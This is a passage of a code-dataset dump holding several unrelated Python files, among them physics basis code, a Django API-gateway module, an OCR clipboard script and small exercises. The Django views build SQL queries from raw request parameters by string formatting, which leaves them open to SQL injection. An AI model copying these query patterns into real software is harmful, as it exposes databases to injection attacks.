1.0))\n reciprocal_max_dim_2 = int( np.ceil( (np.sqrt(2.0*4.0*ke_cutoff) / (2.0 * np.pi) ) * np.linalg.norm(a[1]) + 1.0))\n reciprocal_max_dim_3 = int( np.ceil( (np.sqrt(2.0*4.0*ke_cutoff) / (2.0 * np.pi) ) * np.linalg.norm(a[2]) + 1.0))\n\n # g, g2, and miller indices\n g = np.empty(shape=[0,3],dtype='float64')\n g2 = np.empty(shape=[0,0],dtype='complex128')\n miller = np.empty(shape=[0,3],dtype='int')\n\n # build all possible sets of miller indices\n ivals = np.arange(-reciprocal_max_dim_1, reciprocal_max_dim_1+1)\n jvals = np.arange(-reciprocal_max_dim_2, reciprocal_max_dim_2+1)\n kvals = np.arange(-reciprocal_max_dim_3, reciprocal_max_dim_3+1)\n ijk_vals = cartesian_prod([ivals, jvals, kvals])\n # get g-values i * b[0] + j * b[1] + k * b[2]\n gvals = ijk_vals @ b\n # compute g^2\n g2vals = np.einsum('ix,ix->i', gvals, gvals)\n # get items that are below cutoff\n density_cutoff_mask = np.where(g2vals/2 <= 4 * ke_cutoff)[0]\n gvals_below_cutoff = gvals[density_cutoff_mask]\n g2vals_below_cutoff = g2vals[density_cutoff_mask]\n miller_below_cutoff = ijk_vals[density_cutoff_mask]\n\n g = gvals_below_cutoff\n g2 = g2vals_below_cutoff\n miller = miller_below_cutoff\n\n # reciprocal_max_dim contains the maximum dimension for reciprocal basis\n reciprocal_max_dim = [int(np.amax(miller[:, 0])), int(np.amax(miller[:, 1])), int(np.amax(miller[:, 2]))]\n\n # real_space_grid_dim is the real space grid dimensions\n real_space_grid_dim = [2 * reciprocal_max_dim[0] + 1, 2 * reciprocal_max_dim[1] + 1, 2 * reciprocal_max_dim[2] + 1]\n\n # miller_to_g maps the miller indices to the index of G\n miller_to_g = np.ones(real_space_grid_dim, dtype = 'int')\n for i in range(len(g)):\n miller_to_g[miller[i, 0] + reciprocal_max_dim[0], miller[i, 1] + reciprocal_max_dim[1], miller[i, 2] + reciprocal_max_dim[2]] = i\n\n #increment the size of the real space grid until it is FFT-ready (only contains factors of 2, 3, or 5)\n for i in range( len(real_space_grid_dim) ):\n union_factors = np.union1d( factor_integer(real_space_grid_dim[i]), [2, 3, 5])\n while len(union_factors) > 3:\n real_space_grid_dim[i] += 1\n union_factors = np.union1d( factor_integer(real_space_grid_dim[i]), [2, 3, 5])\n\n return g, g2, miller, reciprocal_max_dim, real_space_grid_dim, miller_to_g\n\ndef get_SI(cell, Gv=None):\n\n \"\"\"\n Calculate the structure factor for all atoms; see MH (3.34).\n\n Args:\n Gv : (N,3) array\n G vectors\n\n Returns:\n SI : (natm, ngs) ndarray, dtype=np.complex128\n The structure factor for each atom at each G-vector.\n \"\"\"\n\n if Gv is None:\n Gv = cell.get_Gv()\n coords = cell.atom_coords()\n SI = np.exp(-1j*np.dot(coords, Gv.T))\n return SI\n\n# plane wave basis information\nclass plane_wave_basis():\n\n def __init__(self, cell, ke_cutoff = 18.374661240427326, n_kpts = [1, 1, 1], nl_pp_use_legendre = False):\n\n \"\"\"\n\n plane wave basis information\n\n :param cell: the unit cell\n :param ke_cutoff: kinetic energy cutoff (in atomic units), default = 500 eV\n :param n_kpts: number of k-points\n :param nl_pp_use_legendre: use sum rule expression for spherical harmonics?\n\n members:\n\n g: plane waves\n g2: square modulus of plane waves\n miller: the miller labels for plane waves, \n reciprocal_max_dim: the maximum dimensions of the reciprocal basis,\n real_space_grid_dim: the number of real-space grid points, and \n miller_to_g: a map between miller indices and a single index identifying the basis function\n n_plane_waves_per_k: number of plane wave basis functions per k-point\n kg_to_g: a map between basis functions for a given k-point and the original set of plane wave basis functions\n SI: structure factor\n use_pseudopotential: use a pseudopotential for all atoms?\n gth_params: GTH pseudopotential parameters\n omega: the unit cell volume\n kpts: the k-points\n ke_cutoff: kinetic energy cutoff (atomic units)\n n_kpts: number of k-points\n charge: charge\n\n \"\"\"\n\n a = cell.a\n h = cell.reciprocal_vectors()\n\n self.nl_pp_use_legendre = nl_pp_use_legendre\n\n # get k-points\n self.kpts = cell.make_kpts(n_kpts, wrap_around = True)\n\n g, g2, miller, reciprocal_max_dim, real_space_grid_dim, miller_to_g = get_plane_wave_basis(ke_cutoff, a, h)\n n_plane_waves_per_k, kg_to_g = get_plane_waves_per_k(ke_cutoff, self.kpts, g)\n SI = get_SI(cell,g)\n\n self.g = g\n self.g2 = g2\n self.miller = miller\n self.reciprocal_max_dim = reciprocal_max_dim\n self.real_space_grid_dim = real_space_grid_dim\n self.miller_to_g = miller_to_g\n self.n_plane_waves_per_k = n_plane_waves_per_k\n self.kg_to_g = kg_to_g\n self.SI = SI\n self.ke_cutoff = ke_cutoff\n self.n_kpts = n_kpts\n\n self.use_pseudopotential = False\n if cell.pseudo is not None :\n self.use_pseudopotential = True\n\n self.gth_params = None\n if ( self.use_pseudopotential ):\n self.gth_params = get_gth_pseudopotential_parameters(cell)\n\n self.omega = np.linalg.det(cell.a)\n\n self.charge = cell.charge\n\n\ndef get_plane_waves_per_k(ke_cutoff, k, g):\n\n \"\"\"\n \n get dimension of plane wave basis for each k-point and a map between these\n the plane wave basis functions for a given k-point and the original list of plane waves\n\n :param ke_cutoff: the kinetic energy cutoff (in atomic units)\n :param k: the list of k-points\n :param g: the list plane wave basis functions\n :return n_plane_waves_per_k: the number of plane wave basis functions for each k-point\n :return n_plane_waves_per_k: the number of plane wave basis functions for each k-point\n\n \"\"\"\n\n # n_plane_waves_per_k has dimension len(k) and indicates the number of orbital G vectors for each k-point\n\n n_plane_waves_per_k = np.zeros(len(k), dtype = 'int')\n\n for i in range(len(k)):\n for j in range(len(g)):\n # a basis function\n kgtmp = k[i] + g[j]\n\n # that basis function squared\n kg2tmp = np.dot(kgtmp,kgtmp)\n\n if(kg2tmp/2.0 <= ke_cutoff):\n n_plane_waves_per_k[i] += 1\n\n # kg_to_g maps basis for specific k-point to original plane wave basis\n kg_to_g = np.ones((len(k), np.amax(n_plane_waves_per_k)), dtype = 'int')\n\n for i in range(len(k)):\n ind = 0\n for j in range(len(g)):\n\n # a basis function\n kgtmp = k[i]+g[j]\n\n # that basis function squared\n kg2tmp=np.dot(kgtmp,kgtmp)\n\n if(kg2tmp / 2.0 <= ke_cutoff):\n kg_to_g[i, ind] = j\n ind += 1\n\n return n_plane_waves_per_k, kg_to_g\n\n\ndef get_miller_indices(idx, basis):\n\n \"\"\"\n\n get miller indices from composite label\n\n :param idx: composite index\n :param basis: plane wave basis information\n\n :return m1: miller index 1\n :return m2: miller index 2\n :return m3: miller index 3\n\n \"\"\"\n\n m1 = basis.miller[idx,0]\n m2 = basis.miller[idx,1]\n m3 = basis.miller[idx,2]\n\n if m1 < 0:\n m1 = m1 + basis.real_space_grid_dim[0]\n if m2 < 0:\n m2 = m2 + basis.real_space_grid_dim[1]\n if m3 < 0:\n m3 = m3 + basis.real_space_grid_dim[2]\n\n return m1, m2, m3\n\nif __name__ == \"__main__\":\n import numpy\n from pyscf import gto\n from pyscf.pbc import gto as pgto\n cell = pgto.M(\n atom = '''C 0. 0. 0. \n C 0.8917 0.8917 0.8917\n C 1.7834 1.7834 0. \n C 2.6751 2.6751 0.8917\n C 1.7834 0. 1.7834\n C 2.6751 0.8917 2.6751\n C 0. 1.7834 1.7834\n C 0.8917 2.6751 2.6751''',\n basis = {'C': gto.parse('''\n # Parse NWChem format basis string (see https://bse.pnl.gov/bse/portal).\n # Comment lines are ignored\n #BASIS SET: (6s,3p) -> [2s,1p]\n O S\n 130.7093200 0.15432897 \n 23.8088610 0.53532814 \n 6.4436083 0.44463454 \n O SP\n 5.0331513 -0.09996723 0.15591627 \n 1.1695961 0.39951283 0.60768372 \n 0.3803890 0.70011547 0.39195739 \n ''')},\n pseudo = 'gth-pade',\n a = numpy.eye(3)*3.5668,\n ke_cutoff=1000 / 27)\n \n cell.build()\n basis = plane_wave_basis(cell, \n ke_cutoff = cell.ke_cutoff,\n n_kpts = [1, 1, 1],\n nl_pp_use_legendre = True)\n print(basis.real_space_grid_dim)\n","repo_name":"ncrubin/qcpanop","sub_path":"qcpanop/pw_pbc/basis.py","file_name":"basis.py","file_ext":"py","file_size_in_byte":10220,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"37073533107","text":"from django.http import JsonResponse\nfrom django.views.decorators.http import require_http_methods\nfrom django.shortcuts import render\nfrom utils.DB import *\nfrom utils.AES import *\nimport time\nfrom configparser import ConfigParser\nfrom Privileges.PrivilegesWrapper import *\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nconfig = ConfigParser()\nconfig.read(os.path.join(BASE_DIR, \"apigate\", 'conf', 'api_conf.ini'), encoding='UTF-8')\nSECRET_KEY = config[\"SECRET_KEY\"][\"key\"]\ndb_path = config[\"DB_PATH\"][\"path\"]\n\n\ndef base(request):\n \"\"\"\n 默认首页\n :param request:\n :return:\n \"\"\"\n # create_table()\n page = \"home.html\"\n base = 1\n return render(request, \"base.html\", locals())\n\n\ndef ApiConfig(request):\n \"\"\"\n 接口配置主页 新增,修改配置接口\n :param request:\n :return:\n \"\"\"\n db = DB(db_path)\n db.connection_sqlite3()\n if request.method == \"POST\":\n name = request.POST.get(\"name\", None)\n if not name:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"名称不可为空\"}, None)\n path = request.POST.get(\"path\")\n if not path:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"路径不可为空\"})\n allow_method = request.POST.get(\"allow_method\")\n allow_ip = request.POST.get(\"allow_ip\")\n db_name = request.POST.get(\"db\")\n data_table = request.POST.get(\"data_table\")\n sql = request.POST.get(\"sql\", None)\n return_table = request.POST.get(\"return_table\")\n per_page = request.POST.get(\"per_page\")\n return_field_comment = request.POST.get(\"return_field_comment\")\n return_total = request.POST.get(\"return_total\")\n optype = request.POST.get(\"optype\")\n insert_status = request.POST.get(\"insert_status\")\n delete_status = request.POST.get(\"delete_status\")\n update_status = request.POST.get(\"update_status\")\n sort = request.POST.get(\"sort\", None)\n if not db_name:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"需要选择连接数据库\"})\n if not sql and not data_table:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"需要选择连接数据表\"})\n # sql校验\n if sql and not re.search(r'\\{\\w*\\}', sql): # 提取SQL里的模版变量:\n db_info_sql = \"select username, password, ip, db, port, type from T_API_DATABASES where name = '%s'\" % db_name\n info = json.loads(db.get_json(db_info_sql))[0]\n test_db = DB(info[\"USERNAME\"], Aes.decrypt(info[\"PASSWORD\"], SECRET_KEY), info[\"IP\"], info[\"DB\"], info[\"PORT\"])\n if info[\"TYPE\"] == \"Mysql\":\n test_db.connection_mysql()\n test_db.get_json(\"select * from (%s) self_define_table\" % sql.replace(\"&quto\", \"'\"))\n test_db.close()\n if test_db.err:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"SQL检查不通过: %s\" % test_db.err})\n elif info[\"TYPE\"] == \"Oracle\":\n pass\n elif info[\"TYPE\"] == \"Sqlserver\":\n pass\n try:\n if sort:\n json.loads(sort)\n sort = sort.upper()\n except:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"排序JSON校验不通过\"})\n condition = request.POST.get(\"condition\")\n try:\n if condition:\n json.loads(condition)\n condition = condition.upper()\n except:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"条件JSON校验不通过\"})\n alias_fields = request.POST.get(\"alias_fields\")\n try:\n if alias_fields:\n json.loads(alias_fields)\n alias_fields = alias_fields.upper()\n except:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"字段别名JSON校验不通过\"})\n\n insert_fields = request.POST.get(\"insert_fields\")\n try:\n if insert_fields:\n json.loads(insert_fields)\n insert_fields = insert_fields.upper()\n except:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"插入字段JSON校验不通过\"})\n\n delete_fields = request.POST.get(\"delete_fields\")\n try:\n if delete_fields:\n json.loads(delete_fields)\n delete_fields = delete_fields.upper()\n except:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"删除字段JSON校验不通过\"})\n update_fields = request.POST.get(\"update_fields\")\n try:\n if update_fields:\n json.loads(update_fields)\n update_fields = update_fields.replace('\"', '\"').upper()\n except:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"更新字段JSON校验不通过\"})\n return_fields = request.POST.get(\"return_fields\")\n try:\n if return_fields:\n json.loads(return_fields)\n return_fields = return_fields.upper()\n except:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"返回字段JSON校验不通过\"})\n if sql:\n return_table = \"0\"\n return_field_comment = \"0\"\n status = request.POST.get(\"status\")\n if optype == \"add\":\n sql = \"insert into T_API_CONFIG(NAME, URL, ALLOW_METHOD, ALLOW_IP, TARGET_DB, TARGET_TABLE_OR_VIEW, \" \\\n \"EXECUTE_SQL, RETURN_TARGET_TABLE_OR_VIEW, STATUS, RETURN_FIELD, CREATE_TIME, PER_PAGE, SORT, \" \\\n \"CONDITION, ALIAS_FIELDS, INSERT_STATUS, UPDATE_STATUS, DELETE_STATUS, INSERT_FIELDS, UPDATE_FIELDS,\" \\\n \" DELETE_FIELDS, RETURN_FIELDS, RETURN_TOTAL) \" \\\n \"values ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s', '%s', '%s', '%s', '%s','%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')\" % \\\n (name, path, allow_method, allow_ip, db_name, data_table, sql, return_table, status, return_field_comment,\n time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()), per_page, sort, condition, alias_fields,\n insert_status, update_status, delete_status, insert_fields, update_fields, delete_fields, return_fields, return_total)\n msg = \"配置成功\"\n else:\n sql = \"update T_API_CONFIG set URL='%s', ALLOW_METHOD='%s', ALLOW_IP='%s', TARGET_DB='%s',\" \\\n \" TARGET_TABLE_OR_VIEW='%s', EXECUTE_SQL='%s', RETURN_TARGET_TABLE_OR_VIEW='%s', STATUS='%s', \" \\\n \"RETURN_FIELD='%s', CZLX='U', CZSJ='%s', PER_PAGE='%s', SORT='%s', CONDITION='%s', ALIAS_FIELDS='%s',\" \\\n \"INSERT_STATUS='%s', DELETE_STATUS='%s', UPDATE_STATUS='%s', INSERT_FIELDS='%s', DELETE_FIELDS='%s',\" \\\n \" UPDATE_FIELDS='%s', RETURN_FIELDS='%s', RETURN_TOTAL='%s' where NAME='%s'\" % \\\n (path, allow_method, allow_ip, db_name, data_table, sql, return_table, status, return_field_comment,\n time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()), per_page, sort, condition, alias_fields,\n insert_status, delete_status, update_status, insert_fields, delete_fields, update_fields,\n return_fields, return_total, name)\n msg = \"修改成功\"\n if db.execute(sql):\n return JsonResponse({\"RTN_CODE\": 1, \"RTN_MSG\": msg})\n else:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": db.err})\n database_list = db.get_json(\"select name, db from T_API_DATABASES\")\n if database_list:\n database_list = json.loads(database_list)\n else:\n database_list = []\n page = \"ApiConfig.html\"\n jiekou = 1\n return render(request, \"base.html\", locals())\n\n\ndef delete(request):\n name = request.GET.get(\"name\", None)\n del_type = request.GET.get(\"del_type\", None)\n if not name or not del_type:\n name = request.POST.get(\"name\", None)\n del_type = request.POST.get(\"del_type\", None)\n if not name or not del_type:\n return JsonResponse({\"RTN_CODE\": \"00\", \"RTN_MSG\": \"参数不完整\"},\n safe=False, json_dumps_params={\"ensure_ascii\": False})\n sqlite3_db = DB(db_path)\n sqlite3_db.connection_sqlite3()\n sql = \"\"\n if del_type == 'api':\n sql = \"delete from T_API_CONFIG where name='%s'\" % name\n if del_type == 'db':\n sql = \"delete from T_API_DATABASES where name='%s'\" % name\n if sqlite3_db.execute(sql):\n return JsonResponse({\"RTN_CODE\": \"01\", \"RTN_MSG\": \"删除成功\"},\n safe=False, json_dumps_params={\"ensure_ascii\": False})\n else:\n return JsonResponse({\"RTN_CODE\": \"00\", \"RTN_MSG\": \"删除失败\"},\n safe=False, json_dumps_params={\"ensure_ascii\": False})\n\n\ndef ApiList(request):\n \"\"\"\n 获取配置接口列表 有name的时候为单一查询,用于修改\n :param request:\n :return:\n \"\"\"\n sqlite3_db = DB(db_path)\n sqlite3_db.connection_sqlite3()\n name = request.GET.get(\"name\")\n if name:\n sql = \"select a.NAME, a.URL, a.ALLOW_METHOD, a.ALLOW_IP, a.TARGET_DB, a.TARGET_TABLE_OR_VIEW, \"\\\n \"a.EXECUTE_SQL, a.RETURN_TARGET_TABLE_OR_VIEW, a.STATUS, a.RETURN_FIELD, a.CREATE_TIME,\"\\\n \"a.PER_PAGE, a.TARGET_DB TARGET_DB_NAME, a.CONDITION, a.SORT, a.ALIAS_FIELDS, a.RETURN_FIELDS,\"\\\n \"a.INSERT_STATUS, a.DELETE_STATUS, a.UPDATE_STATUS, a.INSERT_FIELDS, a.DELETE_FIELDS, a.UPDATE_FIELDS,\"\\\n \"a.RETURN_TOTAL, b.DB TARGET_DB from T_API_CONFIG a, \"\\\n \"T_API_DATABASES b where a.TARGET_DB=b.NAME and a.NAME='%s'\" % name\n db_list = sqlite3_db.get_json(sql)\n else:\n sql = \"select NAME, URL, ALLOW_METHOD, ALLOW_IP, TARGET_DB, TARGET_TABLE_OR_VIEW, \"\\\n \"EXECUTE_SQL, RETURN_TARGET_TABLE_OR_VIEW, STATUS, RETURN_FIELD, CREATE_TIME,\"\\\n \"PER_PAGE,RETURN_FIELDS, RETURN_TOTAL from T_API_CONFIG\"\n db_list = sqlite3_db.get_json(sql)\n if db_list:\n db_list = json.loads(db_list)\n else:\n db_list = []\n if sqlite3_db.err:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": sqlite3_db.err})\n else:\n return JsonResponse({\"RTN_CODE\": 1, \"RTN_MSG\": \"查询成功\", \"DATA\": db_list})\n\n\ndef GetTablesByDB(request):\n \"\"\"\n 通过数据库查询表\n :param request:\n :return:\n \"\"\"\n name = request.POST.get(\"name\")\n if not name:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"无参数\"})\n sqlite3_db = DB(db_path)\n sqlite3_db.connection_sqlite3()\n data = sqlite3_db.get_json(\"select * from T_API_DATABASES where name='%s'\" % name)\n if data:\n data = json.loads(data)[0]\n username = data[\"USERNAME\"]\n password = Aes.decrypt(data[\"PASSWORD\"], SECRET_KEY)\n host = data[\"IP\"]\n port = data[\"PORT\"]\n db_name = data[\"DB\"]\n db_type = data[\"TYPE\"]\n db = DB(username, password, host, db_name, port)\n sql = \"\"\n if db_type == \"Mysql\":\n sql = \"select TABLE_NAME, TABLE_COMMENT from information_schema.tables where TABLE_SCHEMA='%s'\" % db_name\n if not db.connection_mysql():\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"数据库连接失败\"})\n elif db_type == \"Oracle\":\n sql = \"select TABLE_NAME, COMMENTS TABLE_COMMENT from user_tab_comments\"\n if not db.connection_oracle():\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"数据库连接失败\"})\n elif db_type == \"Sqlserver\":\n sql = \"select t1.name TABLE_NAME, t2.VALUE TABLE_COMMENT from (select name, id from sysobjects where \" \\\n \"xtype = 'u' and name != 'sysdiagrams') t1 LEFT JOIN \" \\\n \"(select value, major_id from sys.extended_properties ex_p where ex_p.minor_id=0)\" \\\n \" t2 on t1.id=t2.major_id\"\n if not db.connection_sqlserver():\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"数据库连接失败\"})\n data = db.get_json(sql)\n if data:\n data = json.loads(data)\n else:\n data = []\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"查询成功\", \"DATA\": data})\n else:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"数据库没有配置\"})\n\n\n@require_http_methods([\"POST\"])\ndef TestConnection(request):\n \"\"\"\n 数据库连接测试\n :param request:\n :return:\n \"\"\"\n db_type = request.POST.get(\"type\")\n ip = request.POST.get(\"ip\")\n port = request.POST.get(\"port\")\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n db = request.POST.get(\"db\")\n db = DB(username, password, ip, db, port)\n flag = False\n if db_type == \"Oracle\":\n if db.connection_oracle():\n flag = True\n elif db_type == \"Mysql\":\n if db.connection_mysql():\n flag = True\n elif db_type == \"Sqlserver\":\n if db.connection_sqlserver():\n flag = True\n db.close()\n if flag:\n return JsonResponse({\"RTN_CODE\": 1, \"RTN_MSG\": \"连接成功\"})\n else:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": db.err})\n\n\ndef DatabaseList(request):\n \"\"\"\n 获取数据库列表 有name的时候为单一查询,用于修改\n :param request:\n :return:\n \"\"\"\n sqlite3_db = DB(db_path)\n sqlite3_db.connection_sqlite3()\n name = request.GET.get(\"name\")\n if name:\n db_list = sqlite3_db.get_json(\"select NAME, type, DB, IP, PORT, USERNAME, STATUS\"\n \" from T_API_DATABASES WHERE NAME='%s'\" % name)\n else:\n db_list = sqlite3_db.get_json(\"select NAME, type, DB, IP||':'||PORT as IP_PORT, USERNAME, CREATE_TIME, STATUS\"\n \" from T_API_DATABASES\")\n if db_list:\n db_list = json.loads(db_list)\n else:\n db_list = []\n return JsonResponse({\"RTN_CODE\": 1, \"RTN_MSG\": \"查询成功\", \"DATA\": db_list})\n\n\n@require_http_methods([\"POST\"])\ndef ChangeStatus(request):\n \"\"\"\n 更改数据库使用激活状态\n :param request:\n :return:\n \"\"\"\n optype = request.POST.get(\"type\")\n status = request.POST.get(\"status\")\n name = request.POST.get(\"name\")\n sqlite3_db = DB(db_path)\n sqlite3_db.connection_sqlite3()\n sql = \"\"\n if optype == \"database_qyzt\":\n sql = \"update T_API_DATABASES set status='%s' where name='%s'\" % (status, name)\n elif optype == \"api_qyzt\":\n sql = \"update T_API_CONFIG set status='%s' where name='%s'\" % (status, name)\n elif optype == \"return_field\":\n sql = \"update T_API_CONFIG set return_field='%s' where name='%s'\" % (status, name)\n elif optype == \"return_target_table_or_view\":\n sql = \"update T_API_CONFIG set return_target_table_or_view='%s' where name='%s'\" % (status, name)\n if sqlite3_db.execute(sql):\n return JsonResponse({\"RTN_CODE\": 1, \"RTN_MSG\": \"修改状态成功\"})\n if sqlite3_db.execute(sql):\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": sqlite3_db.err})\n\n\ndef DatabaseManagement(request):\n \"\"\"\n 数据库管理首页 数据库新增,修改接口\n :param request:\n :return:\n \"\"\"\n if request.method == \"POST\":\n name = request.POST.get(\"name\")\n if not name:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": \"名称不可为空\"})\n db_type = request.POST.get(\"type\")\n ip = request.POST.get(\"ip\")\n port = request.POST.get(\"port\")\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n password = Aes(32, SECRET_KEY).encrypt(password)\n db = request.POST.get(\"db\")\n optype = request.POST.get(\"optype\")\n status = request.POST.get(\"status\")\n sqlite3_db = DB(db_path)\n sqlite3_db.connection_sqlite3()\n if optype == \"add\":\n sql = \"insert into T_API_DATABASES(NAME, TYPE, DB, IP, PORT, USERNAME, PASSWORD, CREATE_TIME, STATUS)\" \\\n \"values('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')\" \\\n % (\n name, db_type, db, ip, port, username, password, time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n status)\n msg = \"新增成功\"\n else:\n sql = \"update T_API_DATABASES set TYPE='%s', DB='%s', IP='%s', PORT='%s', USERNAME='%s', PASSWORD='%s', STATUS='%s',\" \\\n \" CZLX='U', CZSJ='%s' where NAME='%s'\" % (db_type, db, ip, port, username, password, status,\n time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()), name)\n msg = \"修改成功\"\n if sqlite3_db.execute(sql):\n return JsonResponse({\"RTN_CODE\": 1, \"RTN_MSG\": msg})\n else:\n return JsonResponse({\"RTN_CODE\": 0, \"RTN_MSG\": sqlite3_db.err})\n page = \"DatabaseManagement.html\"\n database = 1\n return render(request, \"base.html\", locals())\n","repo_name":"longmiaohao/NoCodeApi","sub_path":"apigate/main/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":17038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"70481105155","text":"import mojo_bindings.descriptor as _descriptor\nimport mojo_bindings.reflection as _reflection\nimport mojo_bindings.interface_reflection as _interface_reflection\n\nimport service_provider_mojom\n\n\nclass ServiceRegistry(object):\n __metaclass__ = _interface_reflection.MojoInterfaceType\n DESCRIPTOR = {\n 'fully_qualified_name': 'mojo::ServiceRegistry',\n 'version': 0,\n 'methods': [\n {\n 'name': 'AddServices',\n 'ordinal': 0,\n 'parameters': {\n 'fields': [\n _descriptor.SingleFieldGroup('interface_names', _descriptor.GenericArrayType(_descriptor.TYPE_STRING), 0, 0),\n _descriptor.SingleFieldGroup('service_provider', _descriptor.InterfaceType(lambda: service_provider_mojom.ServiceProvider), 1, 0),\n ],\n },\n },\n ],\n }\n","repo_name":"amplab/ray-artifacts","sub_path":"gen/mojo/services/service_registry/interfaces/service_registry_mojom.py","file_name":"service_registry_mojom.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16895956154","text":"# Import required packages\nimport os\nfrom pytesseract import pytesseract\nimport pyperclip\nfrom PIL import ImageGrab, Image\n\ndef grab_img():\n\ttry:\n\t\t# Grab image from clipboard and save it in Data folder\n\t\tim = ImageGrab.grabclipboard()\n\t\tim.save('Data\\content.png','PNG')\n\t\treturn \"Data\\content.png\"\n\texcept:\n\t\tprint(\"No image found at clipboard\")\n\ndef read(image_path):\n\n\ttry:\n\t\tpath_to_tesseract = r\"tesseract\\tesseract.exe\"\n\t\t\n\t\t# Opening the image & storing it in an image object\n\t\timg = Image.open(image_path)\n\t\t\n\t\t# Providing the tesseract executable\n\t\t# location to pytesseract library\n\t\tpytesseract.tesseract_cmd = path_to_tesseract\n\t\t\n\t\t# Passing the image object to image_to_string() function\n\t\t# This function will extract the text from the image\n\t\ttext = pytesseract.image_to_string(img)\n\t\t\n\t\t# Displaying the extracted text\n\t\t# print(text[:-1])\n\t\tpyperclip.copy(text[:-1])\n\t\tos.remove(image_path)\n\t\tprint(\"Text Copied into the Clipboard !\")\n\texcept: print(\"Try to copy an image then Try Again !\")\n\n\n\nimg = grab_img()\nread(image_path=img)\n\n\n \n\n\n\n","repo_name":"DiyRex/Image-to-Text-Clipboard-","sub_path":"img2txt.py","file_name":"img2txt.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23541493611","text":"\ndef get_answer(s, k):\n\n size = len(s)\n goal = pow(2, size) - 1\n mask = pow(2, k) - 1\n\n head = 0\n for c in s:\n head <<= 1\n if c == '+':\n head += 1\n\n if head == goal:\n return 0\n\n visited = set([head])\n\n count = 0\n queue = [head, None]\n while queue:\n curr = queue.pop(0)\n if curr is None :\n count += 1\n if not queue:\n break\n queue.append(None)\n continue\n\n for i in range(size - k + 1):\n m = mask << i\n nxt = m ^ curr\n if nxt == goal:\n return count + 1\n if nxt not in visited:\n visited.add(nxt)\n queue.append(nxt)\n\n return 'IMPOSSIBLE'\n\nt = int(input())\nfor i in range(1, t + 1):\n\n s, k = input().split(\" \")\n k = int(k)\n\n answer = get_answer(s, k)\n print(\"Case #{}: {}\".format(i, answer))\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1787.py","file_name":"1787.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42009890304","text":"import pytest \nimport reader\nimport os \nIO = reader.IO()\npath_csv = \"addresses.csv\"\n\ndef test_read_type():\n\n res = IO.read_csv(path_csv)\n assert type(res)==list \n\ndef test_rows_returned():\n res = IO.read_csv(path_csv)\n assert len(res) == 21\n\ndef test_json_exists():\n path_write = \"test.json\"\n res = IO.read_csv(path_csv)\n IO.write_json(res,path_write)\n os.path.exists(path_write)\n","repo_name":"Gunnvant/Self-Paced-Content","sub_path":"python/week2d2/test_reader.py","file_name":"test_reader.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"43778360795","text":"import random\r\nnumero_elegido = int(input(\"Elige un numero entre el 1 y el 10: \"))\r\n\r\ncontador = 0\r\nnumero_acertado = random.randint(1, 10)\r\n\r\nwhile numero_elegido != numero_acertado:\r\n print('Vuelve a elegir numero hasta que aciertes ')\r\n contador = contador + 1\r\n numero_elegido = int(input(\"Elige un numero entre el 1 y el 10: \"))\r\n print(f'Llevas un total de {contador} intentos')\r\nprint('Ha salido el numero ganador por eso ha salido de el bucle.')\r\nprint(f'Lo has conseguido en un total de {contador} intentos')\r\n","repo_name":"mazuecos3/Python-Begginer","sub_path":"Unidad6/ejercicio_V_u6.py","file_name":"ejercicio_V_u6.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43513487257","text":"import bpy\nimport sys\nimport subprocess # use Python executable (for pip usage)\nfrom pathlib import Path # Object-oriented filesystem paths since Python 3.4\nimport json\n\n\nclass 